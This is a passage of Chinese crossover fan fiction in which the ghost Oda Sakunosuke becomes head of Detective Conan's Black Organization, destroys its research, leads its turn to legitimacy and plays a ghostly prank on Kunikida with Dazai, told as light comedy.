“什么?别乱传消息,要是让拉莫尼听到了肯定罚你写几千字的检讨。” 情报组的据点内,波本正处理着最近的工作报告,他才从风见裕也那里听说,织田作他们又送了一大堆人过去。 这也侧面说明了那几个人正忙着处理组织卧底,根本不可能策划什么篡位。 “真的,听说Boss亲自传唤了爱尔兰。” 八卦的人信誓旦旦道。 “这也不能说明什么吧。” “连拉莫尼大人和百利甜也被叫过去了。” “嗯?”波本,也就是降谷零终于肯将注意力从文件中转移到来人的身上,“你从头说一遍。” “这件事说来话长……” 说话人在情报组待的时间比降谷零长,这些年来他也在组织内部挖掘出了特殊的情报渠道,。 从琴酒失去联系,到Boss突然传召拉莫尼,然后把爱尔兰和百利甜也叫去。他从阴谋论分析到职场暗黑学,长篇大论分析了一大堆爱尔兰上位的可能性,就差列表说明情况了。 从各种夸大的信息中提取出自己想要的情报,降谷零若有所思。 说起来,他确实有好久都没见到过琴酒了。 本以为是最近加班过于频繁才错过了时机,现在细想起来,的确有些不寻常。 织田作那边到底在干什么啊? 要不是还有组织的人在一旁看着,他都想直接打电话问了。 似是上天听到了他的祈求,同一时间,降谷零和面前组织成员的手机同时发出收到消息的提醒。 两人对视一眼,各自拿出手机。 “……” 无尽的沉默。 降谷零甚至不知道该以何种表情对收到的消息做出反应。 他瞳孔震颤,手背因为用力过度暴起了青筋,全身不受控制地微微颤抖。 没看错吧?这种事情真的是有可能发生的吗?那现在他还算卧底吗? 而且—— “Boss病逝,那位临终前亲自传位于爱尔兰?!是谁在恶作剧群发诈骗短信!” “这算诈骗吗?也没提让我们转几百万了解真相啊。” “几百万?哼,我愿意出五千万悬赏真相!” 此刻情报组据点内的众人已无心工作了,他们只想知道爱尔兰继任Boss的全过程。 什么报告、总结、情况说明,全部被丢到一边,所有人在对真相的极度渴望下拧成一股绳,分工协作,只为求得Boss换代的真正事实。 而降谷零也终于从震惊中回过神来,和面前一直用眼神向他炫耀情报可靠性的组织成员对视一眼。 他立即换上惯用的友好笑容。 “要合作吗?论获取情报,我这边也有不错的渠道。” “合作愉快。” —— “大家会被这种理由说服吗?” 黑衣组织新任Boss织田作有些不确定地问道。 坂口安吾和太宰治分别站在他的两侧,前者对他露出一个不必担心的表情。 “事已成定局,无论他们再怎么质疑,都不可能改变这一点。” 区区犯罪分子,难道还能动摇织田作先生的地位不成。 黑衣组织已经有好些产业被异能特务科逐渐接手了,就算这些人要造反,也只是给他们一个剔除腐坏部位的绝佳理由。 太宰治则是笑眯眯地建议:“要我说根本不需要说服,干掉第一个提出反对的人,然后再干掉替他抱不平的人,如果还有人敢出头也一起干掉,但凡有点脑子的人都知道这种时候该怎么选。” “不要诱导织田作先生犯罪啊!” 坂口安吾在一旁大声反驳。 “呐,安吾第一个提出了反对意见,织田作快把安吾干掉。” “嗯?这样可以吗?”织田作下意识地打开了手/枪的保险。 坂口安吾终于忍不住用手中的公文包给随时随地无厘头耍宝的两人一人来了一下。 “给我严肃一点啊!” ———————— !!———————— 出差途中我潜入犯罪组织后遇到生前的友人无奈成为了组织Boss。 ——横滨传奇杀手织田作[鸽子] 零零:你再说一遍你们干什么去了[小丑] 第74章 【名为太宰治的少年来自港口Mafia,明明只有十六岁,身体却已经伤痕累累。 比起这个,更令我感到心惊的是他对生命的态度。 聪慧的头脑让他过早接触到了世界的复杂与黑暗,失格的监护人只把太宰当作好用的部下而忽略了他只是个孩子的现实。 在他对生命的轻蔑中,我似乎看到了一个无助的孩子处于尸骨之上,无声地发出求救的信号。 可我这种罪孽深重的恶人,根本没有资格插手他人的生命。 于是我主动在太宰的诱导下和他打赌,用扑克牌决定话语权。 我连赢了十八局。 顺便从太宰那里听到了不少港口Mafia的机密情报。 】 爱尔兰成为组织新任Boss。 无疑在黑衣组织内掀起了巨大的风暴,有三分之一的对此持怀疑态度,然后他们就被“优化”了。 甚至连一点水花都没能掀起。 【想活下去的话,最好离百利甜远一点。 】 【无论如何都不要站在百利甜的对立面。 】 【不要当着百利甜的面议论Boss ! 】 …… 因为嫌弃坂口安吾的手段过于温吞低效,太宰治主动接过帮织田作之助稳固地位的重担,拿出曾经在港口Mafia整治先代首领余孽的手段。 不到三天时间,组织内的人全都在百利甜的残暴统治下发自内心地尊敬这位新任Boss。 他们都看走眼了啊,拉莫尼才是这三人里面脾气最好的,百利甜完全就是披着人皮的恶鬼! 众人口中的恶鬼正洋溢着温柔幸福的笑容,懒洋洋地趴在织田作肩上。 他们准备联合红方商讨黑衣组织的处理事宜,因为地点是坂口安吾确定的,所以他们到得最早。 “一点点的惊吓就让那些人尿了裤子,为了完成织田作安排的工作,我可是牺牲超级大的。” 太宰治委屈巴巴地讲述着那些反对派在他的刑讯手段下痛哭流涕的样子,“流泪就算了,有些人鼻涕口水小便像泄洪一样,弄脏了我好几双皮鞋呢。” “明明只是小小的威胁了一下,就被吓得语无伦次,什么情报都问不出来,白费了好多时间。” “甚至有人祈求我给他个痛快,哼,死亡这种好事,我才不要奖励他们。” 织田作认真听着:“嗯,确实不能便宜了他们。” 听着两人的恶魔低语,坂口安吾默默从电脑面前抬起头:“别在公共场所说这种恐怖的话啊。” 说着,他看向没骨头一样靠着织田作的太宰治。 “话说太宰你知道吗,百利甜已经成规则怪谈了。” 坂口安吾一根根竖起手指。 “第一,绝对不能忤逆百利甜的决定。” “第二,百利甜面前只能夸赞爱尔兰。” “第三,禁止……” “啊啊,安吾你也太八卦了吧!”太宰治突然的大叫让坂口安吾的说明被迫中断,他捂着脸抱怨,“这绝对是大家对认真工作的我的嫉妒!” 期间,织田作突然抓住了重点,他看向太宰治,询问道:“为什么在太宰面前只能夸赞我?” 坂口安吾哼了一声:“自然是——” “我不知道啦,安吾你还有文件没弄好吧,我来帮你!”太宰治蹦起来冲到坂口安吾身边,强行让后者停止拆台。 然后, “喂!这是删除键你别乱按啊太宰!” 在太宰治和坂口安吾打闹(织田作视角)的时候,织田作迎来了由松田、诸伏、萩原和另一位高大魁梧的寸头狱卒组成的地府观光团。 他们没有得到阎魔大王人间行走的特权,所以太宰治和坂口安吾看不到他们。 看着他们相处的细节,就算是迟钝如织田作也能看出他们关系不一般。 “你们生前认识?” “不愧是织田老师,我们其实是警校时期的同期,甚至都是一个班的。” 萩原研二笑眯眯地为织田作介绍道,“这位是我们警校时期的班长,伊达。” 名为“伊达”的狱卒随即向织田作问好:“织田老师您好。” 伊达航,原东京警视厅搜查一课刑警,下班途中为救一位小女孩出车祸殉职,是新上任的地府狱卒。 他在狱卒培训的期间偶遇了松田阵平,这才成功与其他同期在地府实现重逢。 听说《地府轶闻》的织田作之助老师被外派到现世执行特殊任务,还和零所在的公安部门有合作,于是他们借着诸伏前来送信的机会,纷纷请假一起跑来围观这位鬼冢班唯一存活的同期。 “你好,不用客气。”织田作让出位置,虽然鬼魂不占地方,但还是给几位同事留出足以坐下四人的沙发。 “织田,你…” 来到现世,松田阵平戴上了他的标配墨镜,此刻正一脸复杂地看向织田作,“你生前竟然是黑/手/党?” 要知道他从景老爷那里得知这个劲爆新闻的时候,可是差点一脚滑进了油锅里。 那个温吞平和、热爱拖稿的织田作之助,竟然干过杀手、黑/手/党这种恐怖的职业!完全看不出来啊! “嗯,很意外吗?”织田作不解。 诸伏景光一边将信封交给织田作,一边笑道:“论外表和气质,明显松田更像是黑手党吧。” 说完,他对织田作抱歉道:“织田前辈,关于休刊的申请,鬼灯大人那边还是没有通过。” 比黑/手/党更像黑/手/党的松田:“……” 休刊申请再次被驳回的织田作:“……” 萩原研二、伊达航:不愧是景光。 正聊着天,以降谷零为首的公安一行人到了。 一进门,他看到的就是被组织里传成伏地魔的百利甜带着灿烂的笑容和拉莫尼一起,并排坐在电脑面前不知道在鼓捣什么。 窗边,织田作独自坐着,看着空无一人的沙发沉思。 总之就是这三个人脸上完全看不出刚夺权了一个大型跨国犯罪组织的紧张感。 “咳咳。” 降谷零低咳了两声,表示他们到了。 这种时候,他必须沉稳下来,不能急躁。 示意风见裕也带着人入座,他观察起会议室。 “还有谁会来?”察觉到什么的降谷零直接走到织田作面前问道。 他完全没意识到自己刚刚无意间穿过了四位同期的身体。 织田作抬头,完全被围在降谷零身边,利用鬼魂的特殊性对他如今的形象发表评论的几位狱卒同事吸引了注意力。 松田:“啧啧,这家伙现在好大的威风。” 萩原:“完全变成熟精英男了呢,零。” 伊达:“很不错啊,这些年来零一定很辛苦吧。” 诸伏:“零现在可是公安那边的魔鬼上司呢。” “你在看什么?” 见织田作迟迟不回答,只一个劲地盯着自己看,降谷零狐疑地看了眼穿着。 西装整洁,领带整洁,皮鞋整洁。 所以他在看什么? 被这声询问提醒,织田作回过神来,平静道:“之前配合我们开展了几次行动的FBI也会来。” 听到这样的回答,降谷零脸上突然变换了好几种表情。 最终变成了一个僵硬略显勉强的笑容。 “FBI?” 织田作看到他的额角爆发了好几个“井”字。 对方好像又生气了。为什么? 织田作不解,但好在他不是独自面对降谷零,他立即看向萩原研二。 萩原研二接收到了织田作的求救视线,立马飘到织田作身边给出建议。 “我想零这样的反应,或许是因为讨厌FBI ,毕竟零的立场是公安,谁能对跨国执法的FBI有好脸色呢。” 松田阵平也飘了过来:“织田,你们之前联合FBI行动的事情没有通知零那家伙吧。” 他好歹也是和降谷零从入学打到毕业的人,这点小情绪他也能看懂。 “零不但讨厌FBI ,还尤其讨厌其中一位曾在组织卧底过的搜查官,织田前辈你或许听过他的代号——莱伊。” 诸伏景光也来了。 同期纷纷都发表了意见,这时如果不说点什么好像有点不合群,于是伊达航也说:“零不是冲动的人,好好解释他会听的。” 转眼间获得了四位军师相助,织田作顿时有了底气。 “因为……” 刚起了个头,另一边的门再次被人推开,正是FBI一行人,带头的詹姆斯身后,赫然是降谷零最讨厌的赤井秀一。 降谷零的注意力顿时全部转移到了赤井秀一身上。 此时的他已经无心听织田作的狡辩了,他快步走到赤井秀一面前,风见裕也甚至来不及拦下略显冲动的上司。 “你还敢出现啊,FBI。” 这里虽然用了统称,但在座的所有人除了织田作都知道他指的是赤井秀一。 “我是作为合作方前来参会的,请问公安先生有何指教。” 赤井秀一坦然道:“受邀请的人可不止你们公安。” 他很擅长挑起降谷零的怒火。 同时也顺利挑起了脾性和降谷零相似的松田阵平的怒火。 松田撸起袖子就要上前,被萩原和伊达拦下后还骂骂咧咧道:“这家伙什么意思,竟敢挑衅我们警方!” 降谷零可忍不了一点:“立马滚出这间会议室,FBI!” 为了正义,他勉强能接受和FBI合作,但前提是这里面没有赤井秀一。 他永远无法忘记那个夜晚,懊悔的自己,漠然的莱伊和逝去的挚友。不仅无法原谅莱伊,他也无法原谅那晚的自己。 两人对峙着,这时,坂口安吾敲了敲桌面。 “叩叩。” 将众人的注意力转移到自己身上,坂口安吾一脸肃然,冷静道:“我们请诸位前来,是为了商讨如何处理黑衣组织,如果诸位无意商讨的话,我们大可取消这次会议。” 他的声音不大,但其中不容反驳的意味非常明确。 来之前,公安和FBI双方都私下调查过织田作三人,虽然查出的情报寥寥无几,但这足以说明几人身份不简单。 他们可是凭一己之力拿下了黑衣组织的首领宝座。 于是降谷零冷哼一声,撞着赤井秀一的肩膀而过,来到主位左侧的第一个位置坐下,而风见裕也和一众公安也紧随他的步伐在左侧坐下。 见此, FBI众人只好在右侧落座。 随着织田作慢吞吞地坐到主位,身边分别是坂口安吾和太宰治。 会议正式开始。 会议主要讨论了如何瓦解组织的势力,如何处理合法产业以及药物研究的善后问题。 前两个议题都进行得十分顺利,国内的势力由公安负责,国外由FBI牵头,带领那些还被关在公安医院的各国精英卧底前去处理。 至于产业,异能特务科将全权接手,这一点,降谷零虽有异议,但事已成定局。 到最后一个议题,最先发言的詹姆斯。 “组织的研究虽然有悖人性,但研究数据都是真实有效的……”他说了很多,最后一句才是重点,“希望能将研究数据分享给我们,这可能为人类疾病的治愈起到里程碑一样的作用。” 降谷零来之前,同样被上层交代要留住研究数据。 虽然在他的内心,更倾向于将数据全部销毁,以免再次出现乌丸莲耶那样的人,但这毕竟是任务,于是他也紧跟着开口:“研究数据你们无权带走。” 两方人马顿时吵得不可开交。 站在降谷零身后的诸伏景光注意到面无表情的织田作,他看着幼驯染的后背因为情绪不断起伏。 他默默垂下眼睛,陷入思考。 “那个药。”萩原研二突然开口,“是绝对不能留在现世的。” 松田阵平不明白他怎么这样说。 “为什么?” 接触过APTX的萩原研二难得认真起来:“因为那是足以扭转生死的魔药,是会带来灾厄的潘多拉魔盒。” 说着他搭上诸伏景光的肩膀:“我猜小诸伏是这样想的吧,一边希望小降谷完成上司的命令,但另一边又不愿意这样的研究再次被昏聩的高层重启。” 松田阵平抓住重点,再次撸起袖子:“是这样吗?果然得狠狠揍警视总监一顿啊!” 伊达航:“等等!我觉得这应该和白马警视总监没关系啊!” 最后,终结两方争论的是织田作。 “关于组织的研究,我会亲自将其销毁。” 他语气平静,态度却是不容反驳的强硬,“一旦有人重启研究,必将遭到地狱的惩戒,就和乌丸莲耶一样。” 那双暗蓝色的眼眸扫过面前众人。 恍惚间,众人甚至有种被地狱凝视的悚然。 降谷零很快便接受了织田作的说法,他信任对方,同时他也猜到了上级肯定会继续组织的研究。 销毁数据,这是最好的结果。 “可……” 詹姆斯还想说些什么。 他也意识到上级要求他力争研究数据的命令之下,隐藏着不可见光的阴谋与欲/望,但若是那些研究,真的有利于人类呢。 太宰治出声打断了他的发言。 “诶?刚才我们说的还不够清楚吗?谁要是想拿到研究数据,谁就一定会下地狱哦~” 青年轻快的语气并没有让会议室内冷凝的氛围有所缓解,反而加剧了这一态势。 “地狱你们知道吧,如果功德不够,就会被丢进油锅烹炸,或是打着赤脚被迫在刀山上行走的那种哦。”他看向詹姆斯,“ FBI先生的功德够吗?” 晦暗的鸢眼中倒映出詹姆斯额角滑下的冷汗。 这分明是在威胁他们! 紧接着,太宰治单手撑着下巴,炫耀似的说:“我猜一定没有安吾的多。” 织田作:“嗯?” 其他人:“啊?” 警校组:“哇哦。” 坂口安吾:“……” 这都什么时候了你还在惦记我的功德啊! ———————— !!———————— 安吾:我绝对不会把功德送给太宰! [小丑] 第75章 【平静的生活很快被打破了,我们被一个由黑警组成的组织抓了起来。 更令我感到苦恼的是,太宰身上的伤还没好,我也被一个严刑拷打出一身伤。 背部仿佛被撕裂的剧烈疼痛让我的意识格外清醒。 他们的目标是我,可太宰似乎对此早有预料,甚至可以说从我们相遇到现在发生的一切,都是他故意为之。 真是个聪明到令人胆寒的少年。 一群受利益驱使聚集起来的税金小偷根本不成威胁。 轻而易举地解决掉这些人后,我骗(划掉)、带着太宰去了那家名为Lupin的酒吧。 在那里,太宰向我发出邀请。 “如果想过上不被人打扰的平静生活,那就加入港口Mafia吧。”】 游走在黑暗与深渊边缘的犯罪者,从他们选择这一条道路时,基本上意味着他们此生再也不会与“平静”二字扯上关系。 但这并不是绝对的。 “什么?我们要洗白?” “不是,洗白后我们去哪上班?牢里吗?” “谁家犯罪组织改革这么刑啊!” 自黑衣组织面向全体成员发出改革命令之时起,这群还未从首领换人的震撼性消息从缓过神来的犯罪者们立即陷入更大的恐慌之中。 可新上任的Boss根本不在意手底下人的看法。 服从自然最好,如果有人反对,前几天的“优化”行动足以让这些人闭嘴乖乖听话。 拉莫尼不知道从哪里引进了一群精通管理学的专业人士,大刀阔斧地掀起了改革浪潮。 百利甜那边也没闲着,居然从港口Mafia那边借来了首领直属游击队——黑蜥蜴,一旦被他们抓到丁点反抗的苗头,立即就地肃清。 面对残酷的现实,除了Boss和他手底下的两员大将,黑衣组织的其他人默契地达成了共识。 【黑衣组织好像要完蛋了。 】 其实织田作之助他们带来外援不仅是异能特务科和港口Mafia的助力,只是来自地府的神秘力量现世的人看不见也摸不着。 以萩原研二为首的警校组四人负责销毁组织的研究数据,协助他们的有APTX的受害者工藤新一,以及代号为“雪莉”的研究员宫野志保,她同时也是少年侦探团的一员、灰原哀,还有科学家阿笠博士。 是个由老人、小孩、少年和鬼魂组成的神秘组合。 手底下的人都忙成一锅粥了,按理说Boss应该坐镇指挥大局,但织田作可不是那种传统意义上的首领。 他正在太宰治和坂口安吾的陪同下,前往横滨与森鸥外会面。 “这可真是太令人惊讶了。”港口Mafia的主楼顶层,也就是首领室内,森鸥外看着身着精致西装的织田作,露出吃惊的表情。 黑衣组织这些天发生的剧烈动荡他这边也略有耳闻,只是没想到这件事的始作俑者竟然是几位熟人。 他可没把这件事当作普通的八卦消息,第一时间就研究起一旦这三人把矛头转向港口Mafia,他这位首领是否能够妥善应对。 首先他要面对的是第一杀手的追捕,那可是隐退前从无败绩的织田作之助,就算后者奉行不杀人的死板理念,他顺利躲过的概率也只有一半不到。 然后是精通情报与间谍工作的谍战专家,对方虽然四年前离开了组织,但仍掌握了不少组织的核心情报。 最后是他亲自教导的弟子,手段和计谋都已远超于他的天生Mafia。 这么一盘算,好像一点胜算都没有啊。 森鸥外身后,尾崎红叶和中原中也分列两侧,这两位同样对织田作三人的出现分别表现出了诧异和震惊。 特别是在看到织田作身后一直朝自己做鬼脸的太宰治后,中原中也的拳头就被他捏得咯吱作响。 面对森鸥外的“调侃”,织田作平静地回应:“我们其实借鉴了森先生你的经验。” 换句话来说,对方才是这方面的专家,不应该对这种事感到惊讶。 “噗。” 太宰治笑出了声。 “太宰这家伙!”中原中也捏着拳头想骂,但被尾崎红叶拦下了。 森鸥外笑容僵硬了一瞬,然后恢复到平常的假笑:“不知织田先生这次来访,有何贵干,总不可能是为了感谢我为你们提供的经验吧。” 对方现在可是黑衣组织的首领,森鸥外自然不能再以“织田君”相称。 “因为太宰向我推荐了森先生。”织田作刚说完第一句话,森鸥外就有种不妙的预感,紧接着,他听到对方说,“关于洗白组织,想请森先生指教一二。” 森鸥外:“……” 一个犯罪组织的首领向另一个犯罪组织的首领请教如何洗白组织,这种消息就算传出去除了让道上的势力笑掉大牙,根本无人相信。 他的视线不受控制地转向坂口安吾。 坂口君不是很擅长吐槽吗?此刻为何一言不发? “咳咳,黑衣组织要想成为合法企业的话,首先要取得官方许可。” 考虑到如果拒绝,对面三个人或许会搞出更大的事情,再者说,只是一点经验分享,只要在座的几位不往外传,也不会产生什么负面影响。 权衡利弊后,森鸥外开口道:“比如说异能经营许可证之类的。” 然后他听到织田作说出令他血压飙升的话。 “关于这一点,我们已经争取到警视厅和异能特务科的支持了。” 虽然白马总监和种田长官在接到他电话的时候语气怪怪的,不过这都不重要,反正他们都答应了。 森鸥外:“……” 他的额角蹦出一个“井”字,身后不断地有黑气涌出。 这三个人其实是来炫耀的吧。 “哎呀,这种小事就不用和森先生分享啦,织田作。”看着森鸥外吃瘪的样子,太宰治笑道,“我们主要是想学习如何经营产业啦。” 原本他们的计划里并没有这一项的,都是太宰治强烈要求一定要让森鸥外看看意气风发的织田作,他们才临时改变了行程。 为了避免被老奸巨猾的森鸥外察觉到真相,太宰治和坂口安吾在来之前还特地给织田作进行了特训。 那就是——实话实说。 现在看起来效果果然不错。 太宰治窃笑。 “经营产业?”森鸥外意识到了什么,他默默将身后的中原中也推了出来,“我想中也君在这方面的经验比我更丰富。” 中原中也顿时愣住。 “啊,Boss,我……这……” 他觉得自己好像被推出来当挡箭牌了,但没有证据。 对面是太宰治意味不明的笑脸,他默默紧了紧拳头。 可恶啊! Boss为什么这个时候推他出来发言! —— 黑衣组织的肃清和洗白逐渐步入正轨,关于织田作首领职位的去留,三人展开了讨论。 “首领可是组织的精神领袖,织田作的意义重大,怎么能随便辞去职务呢。” 太宰治据理力争。 虽然组织大部分都被异能特务科掌握在手里,但发给百利甜的工资可是实打实的,他暂时不想失去这份经济来源。 更何况一旦织田作辞去首领职务,他们和织田作的联系理由就少了一个。 坂口安吾也附和道:“虽然织田作先生不能时常露面,但目前组织的管理并不需要首领长期在位,偶尔出现一次就够了。” 这可是他和织田作先生珍贵且难得的交集和羁绊! 织田作:“可是我还有其他的工作。” 比如说狱卒的工作,还有写稿。 说到写稿,他最近的进度有些缓慢,而且鬼灯大人又驳回了休刊申请,甚至威胁如果再申请休刊,他就要动用辅佐官的特权让《地府轶闻》从月刊变成周刊。 不要啊。 “哎呀,黑衣组织这边没什么需要关注的,织田作只要每年出现一次就够啦。”太宰治可怜巴巴地说,“难道织田作不想见到我和安吾吗?” 坂口安吾:“如果是担心组织的运营,这一点我和太宰会负起责任。” 友人们都这么说了,织田作好像再拒绝就不礼貌了。 他这次外派的任务其实已经圆满完成,之所以还待在现世,就是因为在黑衣组织的任职。 鬼灯担心他这个首领突然失踪,可能导致好不容易稳定下来的组织再次陷入混乱,所以给他留了一周的时间处理。 他能猜到太宰治和坂口安吾如此强烈要求他保留职位的原因,无非是想利用公务之便维持这段好不容易抓住的羁绊。 其实这一点没什么好担心的。 毕竟太宰和安吾在这次的行动中发挥了重要作用,他们已经被鬼灯大人列为狱卒后备役,所以在他离开后不会丢失这段时间的记忆。 每年的盂兰盆节他们便能重逢。 “没办法那只能这样了。”织田作妥协道。 可他露出的笑容中完全看不出勉强的意味。 鬼灯大人给了他足够的决策权,保留黑衣组织首领职务,应该也是可以的。 “耶!”太宰治欢呼。 坂口安吾则是默默举起酒杯,嘴角上扬:“来干杯吧。” “这次为了什么而干杯呢?” “为我们、为无赖派而干杯。” ———————— !!———————— 讲个鬼故事,正文差不多快完结了[狗头叼玫瑰] 番外大概会写点织田作和if线首领宰的故事,除此之外大家还有什么想看的吗[鸽子] 推一下预收: 《当织田作绑定魅魔系统》 《 RPG、但拼好饭版! 》 《攻略那瓶波本》 戳专栏可看~[狗头叼玫瑰] 第76章 【港口Mafia,横滨赫赫有名的黑/手/党组织。 而我,在太宰的引荐下,成为了其中微不足道、几乎和垫脚石一样的底层成员。 日常工作除了处理一些脏活累活,更多的是游走在其麾下大大小小的事务所或是商店处理盗窃、家庭纠纷、恐吓威胁之类的杂事。 这样的工作我是第一次干。 面对盗窃的孤儿,既不能折断手脚以示惩戒,送去警务室也很快就因为年龄太小被释放。 更不用说处理事务所老板原配和其小三的斗殴,男男女女打成一团,他们的动作拖泥带水,除了起到一点侮辱性的作用,完全看不出有任何意义。 最容易完成的,就剩下拆除哑/弹了,太宰每次听说都表示非常羡慕。 每次太宰希望和我交换工作内容时,安吾就会在一旁大声吐槽。 对了。坂口安吾,是我在黑/手/党遇到的第二个朋友。 】 黑衣组织进入全面洗白阶段,织田作和友人们临时组成的行动小队也昨晚的小聚后宣布解散。 太宰治回到武装侦探社,坂口安吾返回异能特务科汇报工作。 而织田作则是带着白泽研制出的完成版APTX解药来到工藤宅前。 “叮咚” 他按响门铃。 等待了大约四五秒,别墅大门被人从内部打开,工藤新一探出头来,一见是织田作之助,立马高兴地露出笑容。 “织田先生!” 赌上名侦探的直觉,对方手中的木盒子里一定是APTX的解药。 在他身后,是织田作曾经在电视新闻上见过的著名推理小说家——工藤优作。 工藤优作带着友善和煦的微笑:“这位就是织田先生啊,快请进。” 他分别从阿笠博士和赤井秀一那里了解过这些日子来发生的大小事件。 根据他的推理,这位在覆灭组织过程中发挥了关键性作用的织田先生一定会亲自走一趟,把解药送到新一和小哀手上。 “您好。” 织田作朝工藤优作颔首示意。 留着小胡子的中年人脸上看不出太多岁月的痕迹,反而随着阅历的增长,他看起来神秘又睿智,方框眼镜下的一双眼睛仿佛能看透人心。 “这是解药,目前只来得及制作了三粒,如果有更多人需要的话,我们会加紧寻找原材料制作。” 将解药放到工藤新一手上,织田作明显看到后者脸上露出“终于不用吃侏儒鬼的怨念”的解脱表情。 “多谢您了!”工藤新一发自内心地感谢道,然后他捧着解药朝阿笠博士家大喊,“织田先生送解药来了,灰原!” 不同于工藤新一的兴奋,被叫出来的灰原哀脸上还带着被人从睡梦中吵醒的不耐烦。 她穿着定制的研究服,和同样被叫过来的阿笠博士一同来到工藤宅。 揉了揉满是困意的脸,灰原哀取出一粒解药,并没有像工藤新一一样急着服下,而是对织田作问道。 “我可以拿去研究吗?” 她不像工藤新一那样着急恢复回原本的身体。 毕竟这个世界上已经没有属于宫野志保的归处了,父母和相依为命的姐姐都死在了组织的手中,就算变回宫野志保,她也是孤零零的一个人。 经过这些天的思考,她只想以“灰原哀”的身份作为阿笠博士的远房亲戚和后者生活在一起。 至少,灰原哀还有熟识的朋友和家人。 所以,在面对解药的时候,她只想拿去研究,而不是立即服用。 织田作看着灰原哀。 小小的少女脸上是许多成年人都做不到的沉稳与果决。 “如果这是你的决定,我不会阻止。”织田作说,“你们都有自由选择未来的权力。” 解药的原材料不少都是天国独有的神药,白泽大人说过,以人类目前的科技水平是无法复刻的。 而且灰原看起来也不像是组织里那些疯狂的研究员,研究一下也没什么。 面对小孩子,哪怕对方的内心可能是成年人,织田作也格外包容。 小孩子能做出多大的坏事呢。 “说到这个。” 服下解药的工藤新一感觉到身体正在发生着改变,具体发生了什么他也说不上来,只觉得那股束缚着自己的无形力量慢慢散去,身体逐渐恢复到了他被灌下APTX之前的状态。 “织田先生,太宰先生说我可以保留在组织的职务,这是真的吗?” 身体一恢复,这位高中生侦探狂便开始打探消息。 “你是说侦探顾问一职吗?” “对啊,组织洗白转型后肯定也会遇上各种案件,我很厉害的。”工藤新一拍着胸脯自荐。 对此,织田作默默转头看向他的监护人工藤优作,眼神无声地询问着“这件事您知道吗”。 当着家长的面,织田作可说不出同意之类的话。 虽然转型了,但那毕竟是个大型跨国犯罪集团。之前将工藤新一带进组织,是为了他的人身安全照相,毕竟最危险的地方就是最安全的地方。 至于现在嘛,还是得征求下家长的意见。 对此,工藤优作爽朗一笑。 “如果织田先生不介意的话,我和有希子倒是挺乐意看到小新提前进入社会锻炼的。” “我这边倒是没什么意见。” 织田作只是个挂名首领,组织具体事务都是安吾在管理。 想到这里,他突然想到连续加班一周都还能精神抖擞地和他们坐在一起喝酒的坂口安吾。 织田作看向工藤新一的眼神中突然增添了一些令后者无法识别的情绪。 “安吾应该会很高兴的。” 工藤新一很聪明,从他身体变小后还能踩着滑板飞檐走壁来看,身体素质也很强。 很适合完成一些强度高、耗时长的工作。 工藤新一突然打了个寒战。 他总觉得哪里不对,但毕竟是他自己主动要求的,于是笑着感谢了织田作的决定。 期间,只有灰原哀沉默地看着工藤新一一步步迈入社畜的深渊,内心毫无波澜。 随后,织田作又和工藤优作聊了些创作相关的话题。 意识到他真是个小说家,工藤新一还偷偷用手机搜索了“织田作”这个笔名,但什么都没找到。 并不打算朝推理小说家发展的织田作只是问了些基础的问题。 比如灵感的获取,故事情节的节奏衔接,以及如何应对编辑和读者的催稿。 “我的话,会不定期进行归期不定的旅行采风,去往世界各地,在与各种各样的人交流的同时,聆听他们的故事,虽然效果有好有差,也能在某些时刻激发出灵感。” 工藤优作并不吝于分享这些简单的技巧。 “关于情节的设置,个人认为适当的冲突和情节的高潮可以充分挑起读者的兴趣。” “至于最后一个问题。”他朝织田作狡黠一笑,“这一点就得看个人的心理承受能力了,我认为只要不被编辑抓到,催稿也只是几个文字或一段对话,根本影响不到日常的生活不是吗?” 织田作陷入深思。 织田作恍然大悟! “是这样啊,我明白了,真是非常感谢您的指导!”织田作感激道。 工藤新一:喂!老爸你别好的坏的都教给织田先生啊! —— 从工藤宅告辞离开时,天色已经暗了下去。 织田作走在路上,他本想直接回公寓,但突然想到太宰治和坂口安吾都搬走了,即将迈出的脚步突然顿住。 不想回公寓了。 他想了想,走到一旁没人的巷子里,魂体化后朝着横滨飞去。 这个时间,安吾应该在加班,还是不要打扰安吾好了。 于是,太宰治刚和国木田独步完成一起高官被恐吓的案件调查,在返回侦探社的路上,一股风从太宰治面前拂过,带着淡淡的熟悉的味道。 太宰治察觉到了什么。 他抬起头,前方是火红的夕阳余晖,映照在海面上,被浪潮打成细碎的光点。 奔波一天的劳累化作捉弄同事的坏心思,他快步追上走在前面的国木田独步,背在身后的双手比了个只有无赖派才能看懂的暗号。 “国木田君你知道吗,这一带曾经是黑/手/党叛徒的处刑场。”太宰治压低声音,刻意制造出神秘恐怖的氛围。 国木田独步的表情突然僵硬了一瞬,他像是完全不在意一样:“那又怎么了?” 如果是之前,他肯定会认为这是太宰治捉弄他的又一计谋。 但现在不一样了,太宰这家伙真当过黑/手/党啊,所以他说的话很有可能是真的! “那些怨恨的、悲伤的、不屈的亡魂在此处徘徊,久而久之,这里被阴气侵蚀,每当黄昏逢魔时刻,孩童老人或是经常与尸体打交道的人,路过此处的时候,偶尔会见到一些没有影子的存在。” 太宰治说话时刻意贴近国木田独步,呼出的热气打在他的耳侧。 虽然很想立即用最坚定的语气反驳太宰治,但国木田独步突然感觉到身侧传来刺骨的凉意。 顿时,他半边身体都僵住了。 “国木田君,如果遇到那些存在,阳气不足的活人很容易在一瞬间被阴气侵蚀,从而身体僵硬失去行动能力。” 太宰治“好心”地提醒道,“这个时候千万不能停下脚步!” 已经迈不动步子的国木田独步浑身的汗毛都竖了起来。 而太宰治已经自说自话地往前走了。 国木田独步伸出还能动的左手,想要拉住太宰治,可偏偏后者在此时加快了步伐,只让国木田独步摸到了一片衣角。 等等啊!太宰—— 他张了张嘴,但极度的恐惧下,只发出了一点极细小的声音。 “太宰、” “诶?国木田君怎么不动了?”太宰治说着转过头来。 看着同伴终于发现了自己没跟上,国木田独步还没来得及庆幸,就看到太宰治脸上突然露出极度恐惧的神情。 只见太宰治指着国木田独步身后,瞳孔震颤,语无伦次。 “国木田君、身后、那…那是什么?” 连那个太宰治都被惊吓至此,连一句完整的话都说不出来,国木田独步更是不敢回头。 他可是听老人讲过,遇到这种情况坚决不能回头,否则会被恶鬼夺走姓名和身体。 可他不回头不代表身后的神秘存在不会主动出击。 魂体化的织田作配合着太宰治的暗号,单手搭上国木田独步的肩膀,丝丝寒意透过布料渗透进去。 确认这附近都不会再出现第三个人后,织田作渐渐显现出实体。 “国木田君~” 他幽幽地喊出国木田独步的名字。 名字、我的名字被夺走了啊! 国木田独步只来得及发出一声凄厉的惨叫,然后就失去了意识。 